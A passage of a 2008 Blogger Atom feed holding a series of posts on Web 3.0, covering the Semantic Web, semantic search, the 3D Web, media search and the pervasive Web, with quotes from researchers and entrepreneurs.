/&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What will Web 3.0 look like? Who knows? But here are a few possibilities.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Semantic Web&lt;/span&gt;&lt;br /&gt;A Web where machines can read sites as easily as humans read them (almost). You ask your machine to check your schedule against the schedules of all the dentists and doctors within a 10-mile radius—and it obeys.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The 3D Web&lt;/span&gt;&lt;br /&gt;A Web you can walk through. Without leaving your desk, you can go house hunting across town or take a tour of Europe. Or you can walk through a Second Life–style virtual world, surfing for data and interacting with others in 3D. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Media-Centric Web&lt;/span&gt;&lt;br /&gt;A Web where you can find media using other media—not just keywords. You supply, say, a photo of your favorite painting and your search engines turn up hundreds of similar paintings.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Pervasive Web&lt;/span&gt;&lt;br /&gt;A Web that's everywhere. On your PC. On your cell phone. On your clothes and jewelry. Spread throughout your home and office. Even your bedroom windows are online, checking the weather, so they know when to open and close.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6524418030332260047?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6524418030332260047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6524418030332260047' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6524418030332260047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6524418030332260047'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html' title='Web 3.0 : An Idiot&apos;s Guide to Web 3.0'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1500167990057143863</id><published>2008-08-15T21:34:00.000-07:00</published><updated>2008-08-15T22:09:20.570-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 : Tomorrow's Web, Today</title><content type='html'>In some respects, Web 3.0 is nothing more than a parlor game. Ideas tossed out here and there. But at the very least, these ideas have roots in current trends. Many companies, from HP and Yahoo! to Radar Networks, are adopting official Semantic Web standards. Polar Rose and Ojos are improving image search. Google and Microsoft are moving toward 3D. No one can predict what Web 3.0 will look like. But one thing's for sure: It'll happen&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In some respects, Web 3.0 is nothing more than a parlor game. Ideas tossed out here and there. But at the very least, these ideas have roots in current trends. Many companies, from HP and Yahoo! to Radar Networks, are adopting official Semantic Web standards. Polar Rose and Ojos are improving image search. Google and Microsoft are moving toward 3D. No one can predict what Web 3.0 will look like. But one thing's for sure: It'll happen&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1500167990057143863?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1500167990057143863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1500167990057143863' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1500167990057143863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1500167990057143863'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html' title='Web 3.0 : Tomorrow&apos;s Web, Today'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-3530295241652329500</id><published>2008-08-15T21:33:00.000-07:00</published><updated>2008-08-15T22:09:37.530-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 : A Web Beyond Words</title><content type='html'>Though Web 3.0 is most often associated with the Semantic Web, the two are far from synonymous. Countless other concepts are poised to play a role in our online future, and many go beyond semantics, using space, images, and sound.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Though Web 3.0 is most often associated with the Semantic Web, the two are far from synonymous. Countless other concepts are poised to play a role in our online future, and many go beyond semantics, using space, images, and sound.&lt;br /&gt;&lt;br /&gt;One possibility is the so-called 3D Web, a Web you can walk through. Many see this as an extension of the "virtual worlds" popping up on today's Internet. In the future, they say, the Web will be one big alternate universe reminiscent of Second Life and There.com. But others scoff at this notion, claiming it's just a less-efficient version of today's Internet. They see the 3D Web not as an alternate universe but as a re-creation of our existing world. On the 3D Web, you could take a virtual stroll through an unfamiliar neighborhood shopping for houses or visit famous sites you've never seen. Google Earth already offers an experience not far removed from this. "Today, with a service like Google Earth, you can zoom in on Seattle and see how tall the buildings are," says Syracuse University's Lankes. "It really isn't that much of a leap to actually put you, or your avatar, in Seattle and let you walk around."&lt;br /&gt;&lt;br /&gt;The trouble is, 3D only goes so far. It doesn't enhance the very 2D world of words, pictures, and video. For many, the more interesting idea is a mediacentric Web, offering not just language-based search but pure media search. Today we depend on keywords even when searching for images, videos, and songs—a woefully inadequate system. Companies like Ojos and Polar Rose are working to reinvent media search, hinting at a world where we search for media with other media—not just keywords (see "Look Ma, No Keywords!" opposite).&lt;br /&gt;&lt;br /&gt;Then there's the Pervasive Web, a Web that's everywhere. Today's Web already extends beyond the desktop, to cell phones and handhelds, but it might extend even further—into our everyday surroundings. At the MIT Media Lab, Maes is toying with the idea of Web-connected bathroom mirrors. As you brush your teeth in the morning, there's the latest news. Meanwhile, with his blog, the End of Cyberspace, Alex Soojung-Kim Pang of the Institute for the Future envisions the Web automating much of what goes on in the home. Your windows, for instance, could automatically open when the weather changes. With help from mesh networks—wireless networks consisting of tiny nodes that can route data to and from almost anywhere—the possibilities are nearly endless.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-3530295241652329500?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/3530295241652329500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=3530295241652329500' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3530295241652329500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/3530295241652329500'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html' title='Web 3.0 : A Web Beyond Words'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-817784103954697504</id><published>2008-08-15T21:28:00.000-07:00</published><updated>2008-08-15T22:09:59.847-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 :Semantics and Search</title><content type='html'>The Semantic Web, like Web 2.0, is a nebulous concept. "Considering that the very word semantic is all about meaning, it's ironic that the term Semantic Web is so ill defined," says Radar Networks' Spivack. Some, like Spivack, fall into the Berners-Lee camp. Others, like AdaptiveBlue's Iskold, believe in the artificial-intelligence method. And then there are the others: the semantic searchers.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Semantic Web, like Web 2.0, is a nebulous concept. "Considering that the very word semantic is all about meaning, it's ironic that the term Semantic Web is so ill defined," says Radar Networks' Spivack. Some, like Spivack, fall into the Berners-Lee camp. Others, like AdaptiveBlue's Iskold, believe in the artificial-intelligence method. And then there are the others: the semantic searchers.&lt;br /&gt;&lt;br /&gt;Rather than providing automatic information retrieval, semantic search engines seek to improve on the Google-like search model we've grown so accustomed to. The idea is to move beyond mere keyword searches to a better understanding of natural-language queries. "Right now, search engines can't tell the difference between Paris Hilton and the Hilton in Paris," says Jeff Bates, cofounder of Slashdot, one of the driving forces behind Web 2.0. "There's millions of dollars being spent trying to better optimize search, and that's a big part of what the Semantic Web will be."&lt;br /&gt;&lt;br /&gt;This kind of natural-language processing has been in development for years, but it, too, has found its way onto the public Web. Several start-ups, including Powerset and TextDigger, are hard at work on semantic search engines based on the open-source academic project WordNet. It should be noted, however, that natural-language search could very well play a role in the Berners-Lee Semantic Web. His is merely a framework to enable all sorts of apps, and semantic search might be one of them.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-817784103954697504?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/817784103954697504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=817784103954697504' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/817784103954697504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/817784103954697504'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html' title='Web 3.0 :Semantics and Search'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6817061644939817725</id><published>2008-08-15T21:26:00.000-07:00</published><updated>2008-08-15T23:50:09.599-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 :The Other Semantic Web</title><content type='html'>As a consequence, many researchers take a very different approach to the Semantic Web. Rather than calling for an overhaul of Web formats, which would involve hundreds of thousands of independent sites, they're building agents that can better understand Web pages as they exist today. They're not making the pages easier to read, they're making the software agents smarter.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As a consequence, many researchers take a very different approach to the Semantic Web. Rather than calling for an overhaul of Web formats, which would involve hundreds of thousands of independent sites, they're building agents that can better understand Web pages as they exist today. They're not making the pages easier to read, they're making the software agents smarter.&lt;br /&gt;&lt;br /&gt;One early example is the BlueOrganizer from AdaptiveBlue (www.adaptiveblue.com). In certain situations, when you visit a Web page, this browser plug-in can understand what the page is about, automatically retrieving related information from other sites and services. If you visit a movie blog, for instance, and read about a particular film, it immediately links to sites where you can buy or rent that film. "It's what you might call a top-down approach," says Alex Iskold, the company's CEO. "Web pages already contain semantic data. We can understand them, so why shouldn't computers? Why not build a technology that can parse and process existing services and databases?"&lt;br /&gt;&lt;br /&gt;Of course, that's easier said than done. Countless companies offer tools similar to BlueOrganizer—including Claria's PersonalWeb—but these aren't that different from the old Amazon.com "recommendation engine," which suggests new products based on your surfing and buying habits. We're a long way from agents that can think on their own. In the near term, the Semantic Web may require the sort of metadata Berners-Lee proposes. "Automated agents are worth striving for," says Pattie Maes, an MIT Media Lab veteran who founded the Lab's Software Agents Group. "But it's hard to say what's better—tags built into Web pages or tags that are, in a sense, inferred by machines."&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6817061644939817725?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6817061644939817725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6817061644939817725' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6817061644939817725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6817061644939817725'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html' title='Web 3.0 :The Other Semantic Web'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-9065394438681428805</id><published>2008-08-15T21:24:00.000-07:00</published><updated>2008-08-15T22:11:13.806-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0: Tim, Lucy, and The Semantic Web</title><content type='html'>The Semantic Web isn't a new idea. This notion of a Web where machines can better read, understand, and process all that data floating through cyberspace—a concept many refer to as Web 3.0—first entered the public consciousness in 2001, when a story appeared in Scientific American. Coauthored by Berners-Lee, the article describes a world in which software "agents" perform Web-based tasks we often struggle to complete on our own.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-look-ma-no-keywords.html"&gt;Web 3.0 : Look, Ma, No Keywords!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-versions-4-5-6.html"&gt;Web 3.0: Versions 4, 5, 6...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Semantic Web isn't a new idea. This notion of a Web where machines can better read, understand, and process all that data floating through cyberspace—a concept many refer to as Web 3.0—first entered the public consciousness in 2001, when a story appeared in Scientific American. Coauthored by Berners-Lee, the article describes a world in which software "agents" perform Web-based tasks we often struggle to complete on our own.&lt;br /&gt;&lt;br /&gt;The article begins with an imaginary girl named Lucy, whose mother has just been told by her doctor that she needs to see a specialist. "At the doctor's office, Lucy instructed her Semantic Web agent through her handheld Web browser," we read. "The agent promptly retrieved information about Mom's prescribed treatment from the doctor's agent, looked up several lists of providers, and checked for the ones in-plan for Mom's insurance within a 20-mile radius of her home and with a rating of excellent on trusted rating services."&lt;br /&gt;&lt;br /&gt;That's quite a mouthful, but it only begins to describe Berners-Lee's vision of a future Web. Lucy's Semantic Web agent can also check potential appointment times against her mother's busy schedule, reschedule other appointments if need be, and more—all on its own, without help from Lucy. And Lucy is just one example. A Semantic Web agent could be programmed to do almost anything, from automatically booking your next vacation to researching a term paper.&lt;br /&gt;&lt;br /&gt;How will this actually work? In Berners-Lee's view, it involves a reannotation of the Web, adding all sorts of machine-readable metadata to the human-readable Web pages we use today (see "Questions of Semantics," opposite). Six years after the Scientific American article, official standards describing this metadata are in place—including the Recourse Description Framework (RDF) and the Web Ontology Language (OWL)—and they're already trickling into real-world sites, services, and other tools. -Semantic Web metadata underpins Yahoo!'s new food site. Spivack's Radar Networks is building a kind of Semantic Web portal. A development platform, Jena, is in the works at HP. And you'll find Semantic Web structures in Oracle's Spatial database tool.&lt;br /&gt;&lt;br /&gt;The problem is that a complete reannotation of the Web is a massive undertaking. "The Semantic Web is a good-news, bad-news thing," says R. David Lankes, an associate professor at Syracuse University's School of Information Studies. "You get the ability to do all these very complex queries, but it takes a tremendous amount of time and metadata to make that happen." &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-9065394438681428805?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/9065394438681428805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=9065394438681428805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/9065394438681428805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/9065394438681428805'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html' title='Web 3.0: Tim, Lucy, and The Semantic Web'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6424288861621406765</id><published>2008-08-15T21:21:00.000-07:00</published><updated>2008-08-15T22:11:29.647-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web 3.0'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Web 3.0 : An Introduction</title><content type='html'>Just in case you missed it, the web now has version numbers. Nearly three years ago, amid continued hand-wringing over the dot-com crash, a man named Dale Dougherty dreamed up something called Web 2.0, and the idea soon took on a life of its own. In the beginning, it was little more than a rallying cry, a belief that the Internet would rise again. But as Dougherty's Silicon Valley start-ups—and blogs are already abuzz with talk of the Web's next generation.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-introduction.html"&gt;Web 3.0 : An Introduction&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tim-lucy-and-semantic-web.html"&gt;Web 3.0: Tim, Lucy, and The Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-other-semantic-web.html"&gt;Web 3.0 :The Other Semantic Web&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-semantics-and-search.html"&gt;Web 3.0 :Semantics and Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-web-beyond-words.html"&gt;Web 3.0 : A Web Beyond Words&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-tomorrows-web-today.html"&gt;Web 3.0 : Tomorrow's Web, Today&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-idiots-guide-to-web-30.html"&gt;Web 3.0 : An Idiot's Guide to Web 3.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webnology.blogspot.com/2008/08/web-30-questions-of-semantics.html"&gt;Web 3.0 : Questions of Semantics&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a 